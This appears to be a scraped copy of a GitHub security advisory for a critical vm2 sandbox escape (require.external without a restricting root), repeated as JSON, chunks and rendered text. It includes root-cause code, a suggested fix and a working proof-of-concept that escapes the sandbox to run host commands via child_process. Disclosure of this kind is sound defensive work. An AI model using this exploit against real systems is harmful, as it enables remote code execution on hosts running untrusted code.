fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 0.0, "vector": null}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"}
references: {"types": ["WEB"], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"}
references: {"types": ["WEB"], "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"}
references: {"types": ["WEB"], "url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"}
采集信息与校验
完整来源元数据
{
  "format": "github_advisory",
  "raw_record": {
    "comments": 6,
    "credits": [
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/124699114?v=4",
          "events_url": "https://api.github.com/users/abisheikM1/events{/privacy}",
          "followers_url": "https://api.github.com/users/abisheikM1/followers",
          "following_url": "https://api.github.com/users/abisheikM1/following{/other_user}",
          "gists_url": "https://api.github.com/users/abisheikM1/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/abisheikM1",
          "id": 124699114,
          "login": "abisheikM1",
          "node_id": "U_kgDOB27B6g",
          "organizations_url": "https://api.github.com/users/abisheikM1/orgs",
          "received_events_url": "https://api.github.com/users/abisheikM1/received_events",
          "repos_url": "https://api.github.com/users/abisheikM1/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/abisheikM1/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/abisheikM1/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/abisheikM1",
          "user_view_type": "public"
        }
      },
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/291979002?v=4",
          "events_url": "https://api.github.com/users/amagesh1/events{/privacy}",
          "followers_url": "https://api.github.com/users/amagesh1/followers",
          "following_url": "https://api.github.com/users/amagesh1/following{/other_user}",
          "gists_url": "https://api.github.com/users/amagesh1/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/amagesh1",
          "id": 291979002,
          "login": "amagesh1",
          "node_id": "U_kgDOEWc--g",
          "organizations_url": "https://api.github.com/users/amagesh1/orgs",
          "received_events_url": "https://api.github.com/users/amagesh1/received_events",
          "repos_url": "https://api.github.com/users/amagesh1/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/amagesh1/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/amagesh1/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/amagesh1",
          "user_view_type": "public"
        }
      },
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/7230603?v=4",
          "events_url": "https://api.github.com/users/Den1al/events{/privacy}",
          "followers_url": "https://api.github.com/users/Den1al/followers",
          "following_url": "https://api.github.com/users/Den1al/following{/other_user}",
          "gists_url": "https://api.github.com/users/Den1al/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/Den1al",
          "id": 7230603,
          "login": "Den1al",
          "node_id": "MDQ6VXNlcjcyMzA2MDM=",
          "organizations_url": "https://api.github.com/users/Den1al/orgs",
          "received_events_url": "https://api.github.com/users/Den1al/received_events",
          "repos_url": "https://api.github.com/users/Den1al/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/Den1al/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/Den1al/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/Den1al",
          "user_view_type": "public"
        }
      }
    ],
    "cve_id": "CVE-2026-92946",
    "cvss": {
      "score": 10.0,
      "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
    },
    "cvss_severities": {
      "cvss_v3": {
        "score": 10.0,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-913",
        "name": "Improper Control of Dynamically-Managed Code Resources"
      }
    ],
    "description": "## Summary\n\n`NodeVM`\u0027s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** \u2014 \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** \u2014 files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2\u0027s own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2\u0027s own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: \u0027./\u0027,\n  },\n});\n```\n\n`root: \u0027./\u0027` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree \u2014 so the restriction does not exclude vm2 itself. An application built by following the README\u0027s quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions` predates this report \u2014 confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = \u0027host\u0027,          // \u003c-- defaults to \u0027host\u0027\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // \u003c-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // \u003c-- real host require(), when context === \u0027host\u0027 (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** \u2014 it gates purely on `isPathAllowed`, which is a no-op when `root` isn\u0027t set. Combined with `context` defaulting to `\u0027host\u0027`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader\u0027s symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has \u2014 nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely \u2014 the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2\u0027s own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) \u2014 no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2\u0027s source.\n\n```js\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: true, root: \u0027./\u0027 },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve(\u0027vm2\u0027)).replace(/\\\\/g, \u0027/\u0027);\nif (!vm2EntryPoint.startsWith(\u0027.\u0027)) vm2EntryPoint = \u0027./\u0027 + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: [\u0027child_process\u0027], external: false } });\n  module.exports = inner.run(\"module.exports = require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString().trim()\", \u0027inner.js\u0027);\n`, \u0027untrusted-plugin.js\u0027);\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: \u0027Abisheik M\u0027, platform: \u0027win32\u0027 }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process \u2014 not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2\u0027s own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` \u2014 the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time \u2014 extending the *same* `checkedRootPaths` eager-probe block that Category 24\u0027s fix already introduced for the \"root is set but the fs adapter can\u0027t realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25\u0027s fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`\u0027s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
    "epss": {
      "percentage": 0.00857,
      "percentile": 0.57524
    },
    "ghsa_id": "GHSA-j3hm-6rg5-mchv",
    "github_reviewed_at": "2026-10-05T22:34:50Z",
    "html_url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv",
    "identifiers": [
      {
        "type": "GHSA",
        "value": "GHSA-j3hm-6rg5-mchv"
      },
      {
        "type": "CVE",
        "value": "CVE-2026-92946"
      }
    ],
    "nvd_published_at": null,
    "published_at": "2026-10-05T22:34:50Z",
    "references": [
      "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-92946",
      "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86",
      "https://github.com/patriksimek/vm2/releases/tag/v3.11.7",
      "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external",
      "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"
    ],
    "repository_advisory_url": "https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-j3hm-6rg5-mchv",
    "severity": "critical",
    "source_code_location": "https://github.com/patriksimek/vm2",
    "summary": "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE",
    "type": "reviewed",
    "updated_at": "2026-10-05T22:34:51Z",
    "url": "https://api.github.com/advisories/GHSA-j3hm-6rg5-mchv",
    "vulnerabilities": [
      {
        "first_patched_version": "3.11.7",
        "package": {
          "ecosystem": "npm",
          "name": "vm2"
        },
        "vulnerable_functions": [],
        "vulnerable_version_range": "\u003c= 3.11.6"
      }
    ],
    "withdrawn_at": null
  },
  "record_path": "$[30]"
}
原文版本历史与校验
版本入库更新时间来源发布日期校验标识
v1 · 正在查看2026-10-17 12:25 UTC2026-10-05 22:34 UTCc8d51c73d79e9ab33a14efb57874668750ee437ce61d265de8a083dcfea13f24
可引用分片 · 8 段

CHK-1fdc2ed28d0b406221aeb363

GHSA-j3hm-6rg5-mchv
## Summary

`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:

- `require.root` defaults to **unrestricted** — "if omitted every path is allowed."
- `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.

Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.

This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`:

```js
const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});
```

`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.


## Affected Versions

CHK-c1bf53ec2b21c043c3349952

o the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.


## Affected Versions

All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

## Details / Root Cause

`lib/resolver-compat.js`:

```js
const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}
```

and `CustomResolver.isPathAllowed`:

```js
isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}
```

and `CustomResolver.loadJS`:

```js
loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);

CHK-c98f616d546f4fca76702280

```

and `CustomResolver.loadJS`:

```js
loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}
```

`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.

**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**

- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.

CHK-7eab60d6e01a398dda1a6f9e

hing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.
- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr).

CHK-95d502a4452cb7a87e5f878b

s" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."

## Proof of Concept

See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.

```js
const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"
```

CHK-c321310e3ecd01054fdbdf08

ld_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"
```

**Actual output on the test machine:**
```
{ whoami: 'Abisheik M', platform: 'win32' }
```

`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.

## Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:

- Execute arbitrary OS commands via `child_process` (full RCE).
- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).
- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

## Suggested Fix

Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**

CHK-0ddba3444f4176aa67dec502

ed for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**

In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.

Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).
affected_products: {"ecosystem": "npm", "name": "vm2"}
affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}

CHK-282d359e753a0d4d23528c9f

s: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 0.0, "vector": null}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"}
references: {"types": ["WEB"], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"}
references: {"types": ["WEB"], "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"}
references: {"types": ["WEB"], "url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"}
补充资料

中文译文

正文译文暂缺,以下仅为中文摘要。

中文摘要

NodeVM的require.external默认配置可绕过沙箱,导致宿主文件访问与远程代码执行。

已采集原文

访问来源网页

概述 · Summary

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:

  • require.root defaults to unrestricted — "if omitted every path is allowed."
  • require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

js
const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

js
const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

js
isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

js
loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

  • Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
  • Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

js
const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine: { whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.

影响 · Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

  • Execute arbitrary OS commands via child_process (full RCE).
  • Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
  • Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

Suggested Fix

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).

原文依据